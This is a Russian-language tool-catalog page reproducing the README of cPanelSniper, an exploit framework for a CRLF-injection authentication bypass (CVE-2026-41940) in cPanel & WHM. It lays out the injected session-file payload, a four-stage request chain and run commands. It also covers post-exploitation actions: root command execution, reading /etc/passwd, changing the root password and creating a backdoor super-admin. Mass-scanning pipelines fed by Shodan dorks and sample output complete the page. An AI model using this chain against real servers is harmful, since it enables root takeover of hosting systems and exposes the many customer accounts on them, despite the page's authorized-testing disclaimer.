Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cPanelSniper — CVE-2026-41940 — Обход аутентификации в cPanel и WHM через CRLF-инъекцию в файле сессии | Kitploit
Инструменты/GitHubGitHub/zwanski2019/cpanelsniper
Аутентификация и авторизацияСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubzwanski2019/cpanelsniper

cPanelSniper

CVE-2026-41940 — Обход аутентификации в cPanel и WHM через CRLF-инъекцию в файле сессии

3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файл сессии
Цепочка эксплойта из 4 этапов · Интерактивная WHM-оболочка · Массовый сканер · Готовность к пайплайнам · Только stdlib


Обзор

cPanelSniper — это специализированный фреймворк для эксплуатации CVE-2026-41940, критической уязвимости обхода аутентификации, затрагивающей cPanel & WHM. Уязвимость позволяет неаутентифицированным удалённым злоумышленникам получить root-доступ к WHM путём инъекции CRLF-последовательностей в файл сессии через HTTP-заголовок Authorization — без каких-либо действительных учётных данных.

  • Оценка CVSS: 10.0 (критическая)
  • Эксплуатация в дикой природе: подтверждена (апрель 2026)
  • Затронутые установки: ~70 миллионов доменов, работающих на cPanel & WHM
  • Без зависимостей: чистый Python stdlib — без pip, без requests, без внешних пакетов

Только для авторизованного тестирования на проникновение и программ bug bounty.


Как это работает

Корневая причина находится в Session.pm: функция saveSession() вызывает filter_sessiondata() после записи файла сессии на диск. Это означает, что CRLF-символы, встроенные в значение заголовка Authorization: Basic, записываются в файл сессии без изменений, внедряя управляемые злоумышленником поля до проведения санитизации.

root@kitploit:~
Нормальный поток:
  POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации

Уязвимый поток:
  POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл

CRLF-нагрузка

Значение Authorization: Basic декодируется в:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Эти поля записываются непосредственно в файл сессии на диске. При обратном чтении cPanel рассматривает сессию как полностью аутентифицированную root-сессию.

Цепочка эксплойта из 4 этапов

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Этап 0 — Обнаружение канонического имени хоста             │
│  GET /openid_connect/cpanelid → 307 → реальное имя хоста    │
├─────────────────────────────────────────────────────────────┤
│  Этап 1 — Создание preauth-сессии                           │
│  POST /login/?login_only=1  (неверные учётные данные)       │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Этап 2 — CRLF-инъекция                                     │
│  GET / + Cookie: session + Authorization: Basic <нагрузка>  │
│  cpsrvd записывает CRLF-поля в файл сессии                  │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Этап 3 — Распространение (гаджет do_token_denied)          │
│  GET /scripts2/listaccts                                    │
│  Запускает сброс raw→cache — внедрённые поля активируются   │
│  ← 401 Token denied (ожидаемо)                              │
├─────────────────────────────────────────────────────────────┤
│  Этап 4 — Проверка root-доступа к WHM                       │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = ВЗЛОМАН        │
└─────────────────────────────────────────────────────────────┘

Затронутые версии


Установка

root@kitploit:~
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

Установка через pip не требуется. Только чистый Python 3.8+ stdlib.


Использование

Базовое сканирование

root@kitploit:~
# Одиночная цель — только сканирование
python3 cPanelSniper.py -u https://target.com:2087

# Одиночная цель — интерактивная оболочка после обхода
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Массовое сканирование из файла
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Принудительное сканирование (пропустить обнаружение cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

Действия после эксплуатации

root@kitploit:~
# Список всех учётных записей cPanel на сервере
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Выполнение OS-команды
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Получение информации о сервере (имя хоста, нагрузка, диск, MySQL-хост)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Получение версии cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Смена root-пароля
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Интерактивная WHM-оболочка
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Пайплайны

root@kitploit:~
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Из списка scope
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Результаты Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Пайп из stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Комбинация нескольких источников
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

Интерактивная WHM-оболочка

После успешного обхода флаг --action shell открывает интерактивное приглашение:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Версия: CVE-2026-41940 | Auth: CRLF bypass
  Введите 'help' для списка команд, 'exit' для выхода
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel Accounts]  target.com:2087 (47 пользователей)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Server Info]  https://target.com:2087
  hostname: srv01.target.com
  load: 0.72 / 0.66 / 0.69
  version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [BACKDOOR ADMIN CREATED]
  Target   : https://target.com:2087
  Username : mitsec
  Password : P@ss2026!
  Profile  : super_admin

[email protected] ▶ exit

Команды оболочки


Справочник CLI

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] [--no-color]

Цель:
  -u, --url URL          URL одиночной цели (например, https://host:2087)
  -l, --list LIST        Файл с URL (по одному на строку)
  --hostname HOSTNAME    Переопределить канонический Host-заголовок (автообнаружение)

Сканирование:
  -t, --threads N        Параллельные потоки (по умолчанию: 10)
  --timeout N            Таймаут запроса в секундах (по умолчанию: 15)
  --rate-limit N         Задержка между целями (по умолчанию: 0)
  --force                Пропустить проверку обнаружения cPanel

Пост-эксплуатация:
  --action ACTION        Действие: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          Новый root-пароль (--action passwd)
  --cmd CMD              OS-команда (--action cmd/exec)
  --new-user USER        Новое имя пользователя cPanel (--action adduser)
  --new-domain DOMAIN    Новый домен cPanel (--action adduser)

Вывод:
  -o, --output FILE      Сохранить результаты в JSON-файл
  --no-color             Отключить ANSI-цвета

Shodan-дорки

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Пример вывода

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию
  4 этапа: preauth → CRLF-инъекция → распространение → проверка → пост-эксплуатация
  In-The-Wild | CVSS 10.0 | Автор: Mitsec (@ynsmroztas)

  Конфигурация:
   Целей   : 1
   Потоков : 10
   Таймаут : 15s
   Действие: list

14:46:22 [SCAN] Запуск цепочки эксплойта из 4 этапов... https://target.com:2087
14:46:23 [INFO] Обнаружено каноническое имя хоста: srv01.target.com
14:46:23 [STEP] Этап 1/4 — Создание preauth-сессии...
14:46:23 [  OK] Этап1: preauth-сессия = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Этап 2/4 — CRLF-инъекция через заголовок Authorization...
14:46:24 [  OK] Этап2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Этап 3/4 — Запуск гаджета do_token_denied (raw→cache)...
14:46:25 [  OK] Этап3: HTTP 401 — гаджет do_token_denied сработал
14:46:25 [STEP] Этап 4/4 — Проверка root-доступа к WHM...
14:46:26 [PWND] CVE-2026-41940 ПОДТВЕРЖДЕНА — root-доступ к WHM!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Версия   : 11.130.0.6
14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Выполнение пост-эксплуатационного действия: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel Accounts]  target.com:2087 (47 учётных записей)
    client01    domain: client01.com    email: [email protected]
    client02    domain: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Сканирование завершено
  Время: 5.8s  ·  Целей: 1

  ⚡ 1 УЯЗВИМАЯ ЦЕЛЬ(И)

  Target   : https://target.com:2087
  Версия   : 11.130.0.6
  Token    : /cpsess8493537756
  API URL  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Технические детали

Инъекция в файл сессии

Внедрённое значение Authorization: Basic (декодированное из base64) содержит CRLF-последовательности, которые становятся переводами строк в файле сессии cPanel:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Читатель сессий cPanel интерпретирует их как легитимные поля сессии, предоставляя полный root-доступ к WHM.

Этап 3 — Гаджет do_token_denied

Критический и часто упускаемый из виду шаг: после CRLF-инъекции (Этап 2) отравленные данные сессии существуют только в сыром файле сессии. Запрос к /scripts2/listaccts запускает внутренний обработчик do_token_denied, который сбрасывает сырые данные сессии в кэш сессии. Без этого сброса Этап 4 вернул бы 403.

Извлечение токена сессии

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob-хэш (удаляется)
                              +-- имя сессии (используется для инъекции)

Имя сессии (до %2C) извлекается и используется как значение cookie для последующих запросов.


Ссылки

  • watchTowr Labs — Технический анализ CVE-2026-41940
  • Консультация по безопасности cPanel
  • NVD — CVE-2026-41940
  • Блог Hadrian — Анализ CVE-2026-41940
  • Шаблон Nuclei — CVE-2026-41940

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и программ bug bounty. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием.


Автор

Mitsec — @ynsmroztas

  • 🏆 Топ-хакер — Intigriti
  • 🐛 Раскрыто 2 430+ уязвимостей
  • 💀 1 100+ критических находок P1
  • 🏅 100+ упоминаний в Hall of Fame

Сделано с ❤️ автором @ynsmroztas

Скачать инструмент
ВеткаУязвимаяИсправленная
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
КомандаОписание
id / whoamiПоказать UID и имя хоста
hostnameПолучить имя хоста сервера
versionИнформация о версии cPanel
infoНагрузка, диск, MySQL-хост, версия
accountsСписок всех учётных записей пользователей cPanel
cat <path>Чтение содержимого файла
ls [path]Список каталога
exec <cmd>Выполнение OS-команды
addadmin <user> <pass>Создание backdoor-администратора WHM
passwd <pass>Смена root-пароля
api <endpoint> [k=v ...]Прямой вызов WHM JSON API
helpПоказать все команды
exitВыход из оболочки